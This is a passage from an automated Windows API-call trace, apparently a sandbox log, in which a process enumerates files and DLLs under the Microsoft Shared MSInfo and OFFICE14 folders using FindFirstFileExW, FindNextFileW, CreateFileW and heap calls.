cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 0 [0048.152] GetLastError () returned 0x12 [0048.153] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0048.155] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0048.156] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.157] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1 [0048.158] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 0 [0048.159] GetLastError () returned 0x12 [0048.159] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee37c8) returned 1 [0048.159] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0048.161] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4a78) returned 1 [0048.184] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.186] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0048.189] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 0 [0048.190] GetLastError () returned 0x12 [0048.190] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0048.191] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0048.193] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0048.193] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0048.195] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0048.198] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0048.202] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14" (normalized: "c:\\program files\\common files\\microsoft shared\\office14"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0048.204] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14" (normalized: "c:\\program files\\common files\\microsoft shared\\office14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0048.508] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0048.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xeec0e8 [0048.510] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xeec0e8, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xeec0e8, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0048.512] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeec0e8) returned 1 [0048.512] NtClose (Handle=0x178) returned 0x0 [0048.514] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0048.514] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0048.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0048.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0048.516] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459cb8 [0048.520] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.521] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0048.521] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703dbc00, ftCreationTime.dwHighDateTime=0x1cbdfc0, ftLastAccessTime.dwLowDateTime=0xd80a4ee0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x703dbc00, ftLastWriteTime.dwHighDateTime=0x1cbdfc0, nFileSizeHigh=0x0, nFileSizeLow=0x310788, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACECORE.DLL", cAlternateFileName="")) returned 1 [0048.521] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.521] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.521] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.521] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.521] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.521] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.521] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd80f11a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xb5db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEDAO.DLL", cAlternateFileName="")) returned 1 [0048.521] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.521] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.521] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.521] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.521] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.521] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.522] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xa990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEERR.DLL", cAlternateFileName="")) returned 1 [0048.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.522] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.522] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.522] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.522] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xf73a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEES.DLL", cAlternateFileName="")) returned 1 [0048.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.522] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.522] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.522] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.522] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8117300, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x6bfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEEXCH.DLL", cAlternateFileName="")) returned 1 [0048.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.522] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.522] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.522] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.522] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xdbb98, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEEXCL.DLL", cAlternateFileName="")) returned 1 [0048.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.522] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.522] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.523] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.523] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd813d460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x53bb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODBC.DLL", cAlternateFileName="")) returned 1 [0048.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.523] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.523] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.523] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.523] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x51128590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODDBS.DLL", cAlternateFileName="")) returned 1 [0048.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.523] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.523] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.523] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.523] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODEXL.DLL", cAlternateFileName="")) returned 1 [0048.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.523] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.523] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.523] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.523] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0x5e99f630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0x3db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODTXT.DLL", cAlternateFileName="")) returned 1 [0048.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.523] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.523] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.523] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.524] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.524] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3706ca00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd8189720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3706ca00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x833a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEOLEDB.DLL", cAlternateFileName="")) returned 1 [0048.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.524] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.524] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.524] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.524] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96faef00, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd8247e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x96faef00, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x6e398, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACER3X.DLL", cAlternateFileName="")) returned 1 [0048.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.524] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.524] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.524] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.524] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0xd9c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACERCLR.DLL", cAlternateFileName="")) returned 1 [0048.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.524] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.524] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.524] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.524] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xa8da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEREP.DLL", cAlternateFileName="")) returned 1 [0048.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.524] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.524] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.525] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.525] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82940c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x48990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACETXT.DLL", cAlternateFileName="")) returned 1 [0048.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.525] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.525] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.525] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.525] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1092c00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xd82ba220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1092c00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x2e8da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWDAT.DLL", cAlternateFileName="")) returned 1 [0048.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.525] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.525] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0048.525] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0048.525] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e0c9f00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xcf0c7d40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8e0c9f00, 